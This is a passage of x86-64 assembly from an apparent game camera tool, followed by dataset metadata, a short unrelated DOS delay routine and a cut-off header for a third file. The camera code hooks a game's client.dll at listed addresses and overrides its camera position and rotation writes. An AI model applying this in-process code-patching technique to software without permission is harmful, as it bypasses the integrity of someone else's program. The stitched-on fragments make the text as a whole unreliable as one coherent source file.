;client.dll+142C77 - 89 4F 04 - mov [rdi+04],ecx << YAW
;client.dll+142C7A - 8B 40 08 - mov eax,[rax+08]
;client.dll+142C7D - 89 47 08 - mov [rdi+08],eax << ROLL
;client.dll+142C80 - E8 8BAA3A00 - call client.dll+4ED710 << CONTINUE HERE
;client.dll+142C85 - 33 D2 - xor edx,edx
;client.dll+142C87 - 48 8B CB - mov rcx,rbx
mov [g_cameraStructAddress], rsi
cmp byte ptr [g_cameraEnabled], 1
je nowrites
originalCode:
mov [rsi],ecx
mov ecx,[rax+04h]
mov [rsi+04h],ecx
mov eax,[rax+08h]
mov rcx,rbx
mov [rsi+08h],eax
mov rax,[rbx]
call qword ptr [rax+000005B0h]
mov ecx,[rax]
mov [rdi],ecx
mov ecx,[rax+04h]
mov [rdi+04h],ecx
mov eax,[rax+08h]
mov [rdi+08h],eax
jmp exit
nowrites:
mov ecx,[rax+04h]
mov eax,[rax+08h]
mov rcx,rbx
mov rax,[rbx]
call qword ptr [rax+000005B0h]
mov ecx,[rax]
mov ecx,[rax+04h]
mov eax,[rax+08h]
exit:
jmp qword ptr [_cameraStructInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraStructInterceptor ENDP
cameraWrite1Interceptor PROC
;client.dll+10E093 - 48 8B D5 - mov rdx,rbp
;client.dll+10E096 - E8 45F35100 - call client.dll+62D3E0
;client.dll+10E09B - F3 0F10 44 24 2C - movss xmm0,[rsp+2C]
;client.dll+10E0A1 - F3 0F10 4C 24 3C - movss xmm1,[rsp+3C]
;client.dll+10E0A7 - F3 0F11 07 - movss [rdi],xmm0 << INTERCEPT HERE << WRITE X
;client.dll+10E0AB - F3 0F10 44 24 4C - movss xmm0,[rsp+4C]
;client.dll+10E0B1 - F3 0F11 4F 04 - movss [rdi+04],xmm1 << WRITE Y
;client.dll+10E0B6 - F3 0F11 47 08 - movss [rdi+08],xmm0 << WRITE Z
;client.dll+10E0BB - 4C 8D 9C 24 90010000 - lea r11,[rsp+00000190] << CONTINUE HERE
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rdi],xmm0
movss xmm0, dword ptr [rsp+4Ch]
movss dword ptr [rdi+04h],xmm1
movss dword ptr [rdi+08h],xmm0
exit:
jmp qword ptr [_cameraWrite1InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite1Interceptor ENDP
cameraWrite2Interceptor PROC
;client.dll+4E3E89 - F3 0F10 44 24 4C - movss xmm0,[rsp+4C]
;client.dll+4E3E8F - F3 0F10 4C 24 5C - movss xmm1,[rsp+5C]
;client.dll+4E3E95 - F3 0F11 07 - movss [rdi],xmm0 << INTERCEPT HERE << WRITE X
;client.dll+4E3E99 - F3 0F10 44 24 6C - movss xmm0,[rsp+6C]
;client.dll+4E3E9F - F3 0F11 4F 04 - movss [rdi+04],xmm1 << WRITE Y
;client.dll+4E3EA4 - F3 0F11 47 08 - movss [rdi+08],xmm0 << WRITE Z
;client.dll+4E3EA9 - 4C 8D 9C 24 60010000 - lea r11,[rsp+00000160] << CONTINUE HERE
;client.dll+4E3EB1 - 49 8B 5B 10 - mov rbx,[r11+10]
;client.dll+4E3EB5 - 49 8B 73 18 - mov rsi,[r11+18]
;client.dll+4E3EB9 - 49 8B E3 - mov rsp,r11
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rdi],xmm0
movss xmm0, dword ptr [rsp+6Ch]
movss dword ptr [rdi+04h],xmm1
movss dword ptr [rdi+08h],xmm0
exit:
jmp qword ptr [_cameraWrite2InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite2Interceptor ENDP
cameraWrite3Interceptor PROC
;client.dll+142CE8 - F3 0F10 45 A7 - movss xmm0,[rbp-59]
;client.dll+142CED - F3 0F10 4D AB - movss xmm1,[rbp-55]
;client.dll+142CF2 - F3 0F11 06 - movss [rsi],xmm0 << INTERCEPT HERE<< X
;client.dll+142CF6 - F3 0F10 45 AF - movss xmm0,[rbp-51]
;client.dll+142CFB - F3 0F11 4E 04 - movss [rsi+04],xmm1 << Y
;client.dll+142D00 - F3 0F10 4D 97 - movss xmm1,[rbp-69]
;client.dll+142D05 - F3 0F11 46 08 - movss [rsi+08],xmm0 << Z
;client.dll+142D0A - F3 0F10 45 9B - movss xmm0,[rbp-65]
;client.dll+142D0F - F3 0F11 0F - movss [rdi],xmm1 << PITCH
;client.dll+142D13 - F3 0F10 4D 9F - movss xmm1,[rbp-61]
;client.dll+142D18 - F3 0F11 47 04 - movss [rdi+04],xmm0 << YAW
;client.dll+142D1D - F3 0F11 4F 08 - movss [rdi+08],xmm1 << ROLL
;client.dll+142D22 - EB 56 - jmp client.dll+142D7A << CONTINUE HERE
;client.dll+142D24 - 4C 8D 45 97 - lea r8,[rbp-69]
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rsi], xmm0
movss xmm0,dword ptr [rbp-51h]
movss dword ptr [rsi+04h],xmm1
movss xmm1,dword ptr [rbp-69h]
movss dword ptr [rsi+08h],xmm0
movss xmm0,dword ptr [rbp-65h]
movss dword ptr [rdi],xmm1
movss xmm1,dword ptr [rbp-61h]
movss dword ptr [rdi+04h],xmm0
movss dword ptr [rdi+08h],xmm1
exit:
jmp qword ptr [_cameraWrite3InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite3Interceptor ENDP
cameraWrite4Interceptor PROC
; 3rd person camera / cutscenes
;client.dll+14FB77 - 4C 8D 4C 24 40 - lea r9,[rsp+40]
;client.dll+14FB7C - 4C 8D 44 24 30 - lea r8,[rsp+30]
;client.dll+14FB81 - F3 0F10 44 24 20 - movss xmm0,[rsp+20]
;client.dll+14FB87 - F3 0F10 4C 24 24 - movss xmm1,[rsp+24]
;client.dll+14FB8D - 8B 08 - mov ecx,[rax]
;client.dll+14FB8F - 48 8D 54 24 50 - lea rdx,[rsp+50]
;client.dll+14FB94 - 89 0F - mov [rdi],ecx << INTERCEPT HERE << WRITE X
;client.dll+14FB96 - 8B 48 04 - mov ecx,[rax+04]
;client.dll+14FB99 - 89 4F 04 - mov [rdi+04],ecx << Y
;client.dll+14FB9C - 8B 40 08 - mov eax,[rax+08]
;client.dll+14FB9F - 48 8B CE - mov rcx,rsi
;client.dll+14FBA2 - 89 47 08 - mov [rdi+08],eax << Z
;client.dll+14FBA5 - C7 46 08 00000000 - mov [rsi+08],00000000 << ROLL
;client.dll+14FBAC - F3 0F11 06 - movss [rsi],xmm0 << PITCH
;client.dll+14FBB0 - F3 0F11 4E 04 - movss [rsi+04],xmm1 << YAW
;client.dll+14FBB5 - E8 D6764D00 - call client.dll+627290 << CONTINUE HERE
;client.dll+14FBBA - 8B 0D C00BAE00 - mov ecx,[client.dll+C30780] { [00000001] }
;client.dll+14FBC0 - F3 0F10 7C 24 28 - movss xmm7,[rsp+28]
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
mov [rdi],ecx
mov ecx,[rax+04h]
mov [rdi+04h],ecx
mov eax,[rax+08h]
mov [rdi+08h],eax
mov dword ptr [rsi+08h],00000000h
movss dword ptr [rsi],xmm0
movss dword ptr [rsi+04h],xmm1
exit:
mov rcx,rsi
jmp qword ptr [_cameraWrite4InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite4Interceptor ENDP
cameraWrite5Interceptor PROC
; 3rd person camera / cutscenes
;client.dll+14FD66 - 49 8B 73 18 - mov rsi,[r11+18]
;client.dll+14FD6A - 0F28 C7 - movaps xmm0,xmm7
;client.dll+14FD6D - 0F28 CF - movaps xmm1,xmm7
;client.dll+14FD70 - F3 0F59 7C 24 58 - mulss xmm7,[rsp+58]
;client.dll+14FD76 - F3 0F59 44 24 50 - mulss xmm0,[rsp+50]
;client.dll+14FD7C - F3 0F59 4C 24 54 - mulss xmm1,[rsp+54]
;client.dll+14FD82 - F3 0F58 7F 08 - addss xmm7,[rdi+08]
;client.dll+14FD87 - F3 0F58 07 - addss xmm0,[rdi]
;client.dll+14FD8B - F3 0F58 4F 04 - addss xmm1,[rdi+04]
;client.dll+14FD90 - F3 0F11 7F 08 - movss [rdi+08],xmm7 << INTERCEPT HERE << Z
;client.dll+14FD95 - 0F28 7C 24 70 - movaps xmm7,[rsp+70]
;client.dll+14FD9A - F3 0F11 07 - movss [rdi],xmm0 << X
;client.dll+14FD9E - F3 0F11 4F 04 - movss [rdi+04],xmm1 << Y
;client.dll+14FDA3 - 49 8B E3 - mov rsp,r11 << CONTINUE HERE
;client.dll+14FDA6 - 5F - pop rdi
;client.dll+14FDA7 - C3 - ret
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rdi+08h],xmm7
movss dword ptr [rdi],xmm0
movss dword ptr [rdi+04h],xmm1
exit:
movaps xmm7, xmmword ptr [rsp+70h]
jmp qword ptr [_cameraWrite5InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite5Interceptor ENDP
cameraWrite6Interceptor PROC
; cutscenes
;client.dll+35B30D - 74 5C - je client.dll+35B36B
;client.dll+35B30F - 48 8B 10 - mov rdx,[rax]
;client.dll+35B312 - 48 8B C8 - mov rcx,rax
;client.dll+35B315 - FF 52 40 - call qword ptr [rdx+40]
;client.dll+35B318 - 49 8B 14 24 - mov rdx,[r12]
;client.dll+35B31C - 8B 08 - mov ecx,[rax]
;client.dll+35B31E - 89 0B - mov [rbx],ecx << INTERCEPT HERE <<X
;client.dll+35B320 - 8B 48 04 - mov ecx,[rax+04]
;client.dll+35B323 - 89 4B 04 - mov [rbx+04],ecx <<Y
;client.dll+35B326 - 8B 48 08 - mov ecx,[rax+08]
;client.dll+35B329 - 89 4B 08 - mov [rbx+08],ecx <<Z
;client.dll+35B32C - 49 8B CC - mov rcx,r12
;client.dll+35B32F - FF 52 48 - call qword ptr [rdx+48]
;client.dll+35B332 - 8B 08 - mov ecx,[rax]
;client.dll+35B334 - 89 0F - mov [rdi],ecx << pitch
;client.dll+35B336 - 8B 48 04 - mov ecx,[rax+04]
;client.dll+35B339 - 89 4F 04 - mov [rdi+04],ecx << yaw
;client.dll+35B33C - 8B 40 08 - mov eax,[rax+08]
;client.dll+35B33F - 49 8B CC - mov rcx,r12
;client.dll+35B342 - 89 47 08 - mov [rdi+08],eax << roll
;client.dll+35B345 - 49 8B 04 24 - mov rax,[r12] << CONTINUE HERE
;client.dll+35B349 - FF 90 28050000 - call qword ptr [rax+00000528]
cmp byte ptr [g_cameraEnabled], 1
je nowrites
originalCode:
mov [rbx],ecx
mov ecx,[rax+04h]
mov [rbx+04h],ecx
mov ecx,[rax+08h]
mov [rbx+08h],ecx
mov rcx,r12
call qword ptr [rdx+48h]
mov ecx,[rax]
mov [rdi],ecx
mov ecx,[rax+04h]
mov [rdi+04h],ecx
mov eax,[rax+08h]
mov rcx,r12
mov [rdi+08h],eax
jmp exit
nowrites:
mov ecx,[rax+04h]
mov ecx,[rax+08h]
mov rcx,r12
call qword ptr [rdx+48h]
mov ecx,[rax]
mov ecx,[rax+04h]
mov eax,[rax+08h]
mov rcx,r12
exit:
jmp qword ptr [_cameraWrite6InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite6Interceptor ENDP
cameraWrite7Interceptor PROC
;client.dll+62D46A - F3 0F10 35 06302A00 - movss xmm6,[client.dll+8D0478] { [57.30] }
;client.dll+62D472 - 44 0F57 05 36AD3D00 - xorps xmm8,[client.dll+A081B0] { [80000000] }
;client.dll+62D47A - 41 0F28 CA - movaps xmm1,xmm10 << INTERCEPT HERE
;client.dll+62D47E - F3 0F59 C6 - mulss xmm0,xmm6
;client.dll+62D482 - F3 0F11 47 04 - movss [rdi+04],xmm0 << Yaw
;client.dll+62D487 - 41 0F28 C0 - movaps xmm0,xmm8
;client.dll+62D48B - E8 9C3D1D00 - call client.dll+80122C << CONTINUE1 HERE (Camera is disabled, or rdi isn't our camera)
;client.dll+62D490 - 41 0F28 CC - movaps xmm1,xmm12
;client.dll+62D494 - F3 0F59 C6 - mulss xmm0,xmm6
;client.dll+62D498 - F3 0F11 07 - movss [rdi],xmm0 << Pitch
;client.dll+62D49C - 41 0F28 C3 - movaps xmm0,xmm11
;client.dll+62D4A0 - E8 873D1D00 - call client.dll+80122C
;client.dll+62D4A5 - F3 0F59 C6 - mulss xmm0,xmm6
;client.dll+62D4A9 - F3 0F11 47 08 - movss [rdi+08],xmm0 << Roll
;client.dll+62D4AE - EB 49 - jmp client.dll+62D4F9 << CONTINUE2 HERE (Camera is enabled and rdi is our camera)
;client.dll+62D4B0 - 0F57 35 F9AC3D00 - xorps xmm6,[client.dll+A081B0] { [80000000] }
push rcx
cmp byte ptr [g_cameraEnabled], 1
jne originalCode
; check if the value in rdi + 0x0C is our camera (as this code is used by many datablocks).
mov qword ptr rcx, [g_cameraStructAddress]
add rcx, 0Ch
cmp qword ptr rdi, rcx
je exit2 ; camera is enabled and it's targeting our camera struct, skip the complete block of statements
originalCode:
movaps xmm1,xmm10
mulss xmm0,xmm6
movss dword ptr [rdi+04h],xmm0
movaps xmm0,xmm8
exit1:
pop rcx
; jmp back to the original code right after our injected jmp statement so the original code will run
jmp qword ptr [_cameraWrite7InterceptionContinue1]
exit2:
pop rcx
; jmp back to the end of the block we want to intercept, skipping all calls too.
jmp qword ptr [_cameraWrite7InterceptionContinue2]
cameraWrite7Interceptor ENDP
cameraWrite8Interceptor PROC
;client.dll+142D36 - 74 42 - je client.dll+142D7A
;client.dll+142D38 - F3 0F10 45 A7 - movss xmm0,[rbp-59]
;client.dll+142D3D - F3 0F10 4D AB - movss xmm1,[rbp-55]
;client.dll+142D42 - 48 8B CB - mov rcx,rbx
;client.dll+142D45 - F3 0F11 06 - movss [rsi],xmm0 << Intercept here << X
;client.dll+142D49 - F3 0F10 45 AF - movss xmm0,[rbp-51]
;client.dll+142D4E - F3 0F11 4E 04 - movss [rsi+04],xmm1 << Y
;client.dll+142D53 - F3 0F10 4D 97 - movss xmm1,[rbp-69]
;client.dll+142D58 - F3 0F11 46 08 - movss [rsi+08],xmm0 << Z
;client.dll+142D5D - F3 0F10 45 9B - movss xmm0,[rbp-65]
;client.dll+142D62 - F3 0F11 0F - movss [rdi],xmm1 << Pitch
;client.dll+142D66 - F3 0F10 4D 9F - movss xmm1,[rbp-61]
;client.dll+142D6B - F3 0F11 47 04 - movss [rdi+04],xmm0 << Yaw
;client.dll+142D70 - F3 0F11 4F 08 - movss [rdi+08],xmm1 << Roll
;client.dll+142D75 - E8 866D0000 - call client.dll+149B00 << Continue here
;client.dll+142D7A - 48 8B 05 4F3D9C00 - mov rax,[client.dll+B06AD0] { [7FFD04D65C30] }
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rsi],xmm0
movss xmm0,dword ptr [rbp-51h]
movss dword ptr [rsi+04h],xmm1
movss xmm1,dword ptr [rbp-69h]
movss dword ptr [rsi+08h],xmm0
movss xmm0,dword ptr [rbp-65h]
movss dword ptr [rdi],xmm1
movss xmm1,dword ptr [rbp-61h]
movss dword ptr [rdi+04h],xmm0
movss dword ptr [rdi+08h],xmm1
exit:
jmp qword ptr [_cameraWrite8InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite8Interceptor ENDP
cameraWrite9Interceptor PROC
;client.dll+14302F - E8 2C421800 - call client.dll+2C7260
;client.dll+143034 - F3 0F10 07 - movss xmm0,[rdi]
;client.dll+143038 - F3 0F58 00 - addss xmm0,[rax]
;client.dll+14303C - F3 0F11 07 - movss [rdi],xmm0 << INTERCEPT HERE << Pitch
;client.dll+143040 - F3 0F10 48 04 - movss xmm1,[rax+04]
;client.dll+143045 - F3 0F58 4F 04 - addss xmm1,[rdi+04]
;client.dll+14304A - F3 0F11 4F 04 - movss [rdi+04],xmm1 << Yaw
;client.dll+14304F - F3 0F10 40 08 - movss xmm0,[rax+08]
;client.dll+143054 - F3 0F58 47 08 - addss xmm0,[rdi+08]
;client.dll+143059 - F3 0F11 47 08 - movss [rdi+08],xmm0 << Roll
;client.dll+14305E - 48 8D 4D B7 - lea rcx,[rbp-49] << CONTINUE HERE
;client.dll+143062 - 48 8B D3 - mov rdx,rbx
;client.dll+143065 - E8 46281800 - call client.dll+2C58B0
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rdi],xmm0
movss xmm1,dword ptr [rax+04h]
addss xmm1,dword ptr [rdi+04h]
movss dword ptr [rdi+04h],xmm1
movss xmm0,dword ptr [rax+08h]
addss xmm0,dword ptr [rdi+08h]
movss dword ptr [rdi+08h],xmm0
exit:
jmp qword ptr [_cameraWrite9InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite9Interceptor ENDP
cameraWrite10Interceptor PROC
;client.dll+143065 - E8 46281800 - call client.dll+2C58B0
;client.dll+14306A - 48 8B D7 - mov rdx,rdi
;client.dll+14306D - 48 8B CB - mov rcx,rbx
;client.dll+143070 - 41 0F28 D0 - movaps xmm2,xmm8
;client.dll+143074 - F3 0F10 00 - movss xmm0,[rax]
;client.dll+143078 - F3 0F58 07 - addss xmm0,[rdi]
;client.dll+14307C - F3 0F11 07 - movss [rdi],xmm0 << INTERCEPT HERE << Pitch
;client.dll+143080 - F3 0F10 48 04 - movss xmm1,[rax+04]
;client.dll+143085 - F3 0F58 4F 04 - addss xmm1,[rdi+04]
;client.dll+14308A - F3 0F11 4F 04 - movss [rdi+04],xmm1 << Yaw
;client.dll+14308F - F3 0F10 40 08 - movss xmm0,[rax+08]
;client.dll+143094 - F3 0F58 47 08 - addss xmm0,[rdi+08]
;client.dll+143099 - F3 0F11 47 08 - movss [rdi+08],xmm0 << Roll
;client.dll+14309E - E8 CDE81700 - call client.dll+2C1970 << CONTINUE HERE
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rdi],xmm0
movss xmm1,dword ptr [rax+04h]
addss xmm1,dword ptr [rdi+04h]
movss dword ptr [rdi+04h],xmm1
movss xmm0,dword ptr [rax+08h]
addss xmm0,dword ptr [rdi+08h]
movss dword ptr [rdi+08h],xmm0
exit:
jmp qword ptr [_cameraWrite10InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite10Interceptor ENDP
cameraWrite11Interceptor PROC
;client.dll+142DA0 - 48 8D 55 A7 - lea rdx,[rbp-59]
;client.dll+142DA4 - F3 0F58 06 - addss xmm0,[rsi]
;client.dll+142DA8 - F3 0F58 4E 04 - addss xmm1,[rsi+04]
;client.dll+142DAD - 48 8B CB - mov rcx,rbx
;client.dll+142DB0 - F3 0F11 06 - movss [rsi],xmm0 << INTERCEPT HERE << X
;client.dll+142DB4 - F3 0F10 45 AF - movss xmm0,[rbp-51]
;client.dll+142DB9 - F3 0F11 4E 04 - movss [rsi+04],xmm1 << Y
;client.dll+142DBE - F3 0F58 46 08 - addss xmm0,[rsi+08]
;client.dll+142DC3 - F3 0F11 4D AB - movss [rbp-55],xmm1
;client.dll+142DC8 - F3 0F11 46 08 - movss [rsi+08],xmm0 << Z
;client.dll+142DCD - F3 0F10 06 - movss xmm0,[rsi] << CONTINUE HERE
;client.dll+142DD1 - F3 0F10 4F 04 - movss xmm1,[rdi+04]
;client.dll+142DD6 - F3 0F11 45 A7 - movss [rbp-59],xmm0
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rsi],xmm0
movss xmm0,dword ptr [rbp-51h]
movss dword ptr [rsi+04h],xmm1
addss xmm0,dword ptr [rsi+08h]
movss dword ptr [rbp-55h],xmm1
movss dword ptr [rsi+08h],xmm0
exit:
jmp qword ptr [_cameraWrite11InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite11Interceptor ENDP
cameraWrite12Interceptor PROC
;client.dll+3628B3 - 0F28 CB - movaps xmm1,xmm3
;client.dll+3628B6 - F3 0F59 81 F8030000 - mulss xmm0,[rcx+000003F8]
;client.dll+3628BE - F3 0F58 02 - addss xmm0,[rdx]
;client.dll+3628C2 - F3 0F11 02 - movss [rdx],xmm0 << INTERCEPT HERE << X
;client.dll+3628C6 - F3 0F59 89 FC030000 - mulss xmm1,[rcx+000003FC]
;client.dll+3628CE - F3 0F58 4A 04 - addss xmm1,[rdx+04]
;client.dll+3628D3 - F3 0F11 4A 04 - movss [rdx+04],xmm1 << Y
;client.dll+3628D8 - F3 0F10 4C 24 28 - movss xmm1,[rsp+28]
;client.dll+3628DE - F3 0F59 99 00040000 - mulss xmm3,[rcx+00000400]
;client.dll+3628E6 - F3 0F58 5A 08 - addss xmm3,[rdx+08]
;client.dll+3628EB - 0F28 C1 - movaps xmm0,xmm1
;client.dll+3628EE - F3 0F11 5A 08 - movss [rdx+08],xmm3 << Z
;client.dll+3628F3 - F3 0F59 81 04040000 - mulss xmm0,[rcx+00000404]
;client.dll+3628FB - F3 41 0F58 00 - addss xmm0,[r8]
;client.dll+362900 - F3 41 0F11 00 - movss [r8],xmm0 << Pitch
;client.dll+362905 - F3 0F59 89 08040000 - mulss xmm1,[rcx+00000408]
;client.dll+36290D - F3 41 0F58 48 08 - addss xmm1,[r8+08]
;client.dll+362913 - F3 41 0F11 48 08 - movss [r8+08],xmm1 << Roll
;client.dll+362919 - C3 - ret << CONTINUE HERE
cmp byte ptr [g_cameraEnabled], 1
je nowrites
originalCode:
movss dword ptr [rdx],xmm0
mulss xmm1,dword ptr [rcx+000003FCh]
addss xmm1,dword ptr [rdx+04h]
movss dword ptr [rdx+04h],xmm1
movss xmm1,dword ptr [rsp+28h]
mulss xmm3,dword ptr [rcx+00000400h]
addss xmm3,dword ptr [rdx+08h]
movaps xmm0,xmm1
movss dword ptr [rdx+08h],xmm3
mulss xmm0,dword ptr [rcx+00000404h]
addss xmm0,dword ptr [r8]
movss dword ptr [r8],xmm0
mulss xmm1,dword ptr [rcx+00000408h]
addss xmm1,dword ptr [r8+08h]
movss dword ptr [r8+08h],xmm1
jmp exit
nowrites:
mulss xmm1,dword ptr [rcx+000003FCh]
addss xmm1,dword ptr [rdx+04h]
movss xmm1,dword ptr [rsp+28h]
mulss xmm3,dword ptr [rcx+00000400h]
addss xmm3,dword ptr [rdx+08h]
movaps xmm0,xmm1
mulss xmm0,dword ptr [rcx+00000404h]
addss xmm0,dword ptr [r8]
mulss xmm1,dword ptr [rcx+00000408h]
addss xmm1,dword ptr [r8+08h]
exit:
jmp qword ptr [_cameraWrite12InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite12Interceptor ENDP
cameraWrite13Interceptor PROC
;client.dll+2CDB44 - 75 34 - jne client.dll+2CDB7A
;client.dll+2CDB46 - F3 0F10 87 101E0000 - movss xmm0,[rdi+00001E10]
;client.dll+2CDB4E - F3 0F58 03 - addss xmm0,[rbx]
;client.dll+2CDB52 - F3 0F11 03 - movss [rbx],xmm0 << INTERCEPT HERE << X
;client.dll+2CDB56 - F3 0F10 8F 141E0000 - movss xmm1,[rdi+00001E14]
;client.dll+2CDB5E - F3 0F58 4B 04 - addss xmm1,[rbx+04]
;client.dll+2CDB63 - F3 0F11 4B 04 - movss [rbx+04],xmm1 << Y
;client.dll+2CDB68 - F3 0F10 87 181E0000 - movss xmm0,[rdi+00001E18]
;client.dll+2CDB70 - F3 0F58 43 08 - addss xmm0,[rbx+08]
;client.dll+2CDB75 - F3 0F11 43 08 - movss [rbx+08],xmm0 << Z
;client.dll+2CDB7A - 48 8B 5C 24 30 - mov rbx,[rsp+30] << CONTINUE HERE
;client.dll+2CDB7F - 48 83 C4 20 - add rsp,20 { 32 }
;client.dll+2CDB83 - 5F - pop rdi
;client.dll+2CDB84 - C3 - ret
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rbx],xmm0
movss xmm1,dword ptr [rdi+00001E14h]
addss xmm1,dword ptr [rbx+04h]
movss dword ptr [rbx+04h],xmm1
movss xmm0,dword ptr [rdi+00001E18h]
addss xmm0,dword ptr [rbx+08h]
movss dword ptr [rbx+08h],xmm0
exit:
jmp qword ptr [_cameraWrite13InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite13Interceptor ENDP
cameraWrite14Interceptor PROC
;client.dll+142980 - E8 5BAA4E00 - call client.dll+62D3E0
;client.dll+142985 - 4C 8B C6 - mov r8,rsi
;client.dll+142988 - 48 8B D7 - mov rdx,rdi
;client.dll+14298B - F3 0F10 44 24 3C - movss xmm0,[rsp+3C]
;client.dll+142991 - F3 0F10 4C 24 4C - movss xmm1,[rsp+4C]
;client.dll+142997 - 48 8B CD - mov rcx,rbp
;client.dll+14299A - F3 0F11 07 - movss [rdi],xmm0 << INTERCEPT HERE << X
;client.dll+14299E - F3 0F10 44 24 5C - movss xmm0,[rsp+5C]
;client.dll+1429A4 - F3 0F11 4F 04 - movss [rdi+04],xmm1 << Y
;client.dll+1429A9 - F3 0F11 47 08 - movss [rdi+08],xmm0 << Z
;client.dll+1429AE - E8 AD5F0100 - call client.dll+158960 << CONTINUE HERE
;client.dll+1429B3 - 4C 8D 9C 24 C0000000 - lea r11,[rsp+000000C0]
cmp byte ptr [g_cameraEnabled], 1
je exit
originalCode:
movss dword ptr [rdi],xmm0
movss xmm0,dword ptr [rsp+5Ch]
movss dword ptr [rdi+04h],xmm1
movss dword ptr [rdi+08h],xmm0
exit:
jmp qword ptr [_cameraWrite14InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite14Interceptor ENDP
cameraWrite15Interceptor PROC
;client.dll+35B1B1 - 48 8B 10 - mov rdx,[rax]
;client.dll+35B1B4 - 48 8B C8 - mov rcx,rax
;client.dll+35B1B7 - FF 52 40 - call qword ptr [rdx+40]
;client.dll+35B1BA - 48 8B 13 - mov rdx,[rbx]
;client.dll+35B1BD - 8B 08 - mov ecx,[rax]
;client.dll+35B1BF - 41 89 8F EC000000 - mov [r15+000000EC],ecx << INTERCEPT HERE << X
;client.dll+35B1C6 - 8B 48 04 - mov ecx,[rax+04]
;client.dll+35B1C9 - 41 89 8F F0000000 - mov [r15+000000F0],ecx << Y
;client.dll+35B1D0 - 8B 48 08 - mov ecx,[rax+08]
;client.dll+35B1D3 - 41 89 8F F4000000 - mov [r15+000000F4],ecx << Z
;client.dll+35B1DA - 48 8B CB - mov rcx,rbx
;client.dll+35B1DD - FF 52 48 - call qword ptr [rdx+48]
;client.dll+35B1E0 - 8B 08 - mov ecx,[rax]
;client.dll+35B1E2 - 41 89 0C 24 - mov [r12],ecx << Pitch
;client.dll+35B1E6 - 8B 48 04 - mov ecx,[rax+04]
;client.dll+35B1E9 - 41 89 4C 24 04 - mov [r12+04],ecx << Yaw
;client.dll+35B1EE - 8B 40 08 - mov eax,[rax+08]
;client.dll+35B1F1 - 48 8B CB - mov rcx,rbx
;client.dll+35B1F4 - 41 89 44 24 08 - mov [r12+08],eax << Roll
;client.dll+35B1F9 - 48 8B 03 - mov rax,[rbx] << CONTINUE HERE
;client.dll+35B1FC - FF 90 28050000 - call qword ptr [rax+00000528]
;client.dll+35B202 - 84 C0 - test al,al
;client.dll+35B204 - 74 18 - je client.dll+35B21E
cmp byte ptr [g_cameraEnabled], 1
je nowrites
originalCode:
mov [r15+000000ECh],ecx
mov ecx,[rax+04h]
mov [r15+000000F0h],ecx
mov ecx,[rax+08h]
mov [r15+000000F4h],ecx
mov rcx,rbx
call qword ptr [rdx+48h]
mov ecx,[rax]
mov [r12],ecx
mov ecx,[rax+04h]
mov [r12+04h],ecx
mov eax,[rax+08h]
mov rcx,rbx
mov [r12+08h],eax
jmp exit
nowrites:
mov ecx,[rax+04h]
mov ecx,[rax+08h]
mov rcx,rbx
call qword ptr [rdx+48h]
mov ecx,[rax]
mov ecx,[rax+04h]
mov eax,[rax+08h]
mov rcx,rbx
exit:
jmp qword ptr [_cameraWrite15InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above.
cameraWrite15Interceptor ENDP
END
| 46.615734
| 150
| 0.642781
|
54aded2e057d0ac3be94a974496a34aef3a35cdf
| 149
|
asm
|
Assembly
|
src/src/c/borlandc/dpmi32/delay.asm
|
amindlost/wdosx
|
1e256d22c1547e7b1f1ccd23e400f5b81b8bd013
|
[
"Unlicense"
] | 7
|
2022-01-20T08:27:54.000Z
|
2022-03-17T10:15:31.000Z
|
src/src/c/borlandc/dpmi32/delay.asm
|
amindlost/wdosx
|
1e256d22c1547e7b1f1ccd23e400f5b81b8bd013
|
[
"Unlicense"
] | null | null | null |
src/src/c/borlandc/dpmi32/delay.asm
|
amindlost/wdosx
|
1e256d22c1547e7b1f1ccd23e400f5b81b8bd013
|
[
"Unlicense"
] | null | null | null |
.386
.model flat,C
PUBLIC delay
.code
delay proc near
mov edx,[esp+4]
shl edx,10
shld ecx,edx,16
mov ah,86h
int 15h
ret
delay endp
end
| 7.095238
| 16
| 0.671141
|
26b95e8443e4ec87ab1c17d7919c9050cd5bb22f
| 225
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/frexp.asm
|
witchcraft2001/z88dk
|
11adca337a4125aff611ddfdf3fc2401e8dda5b2
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/frexp.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/frexp.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 215
|
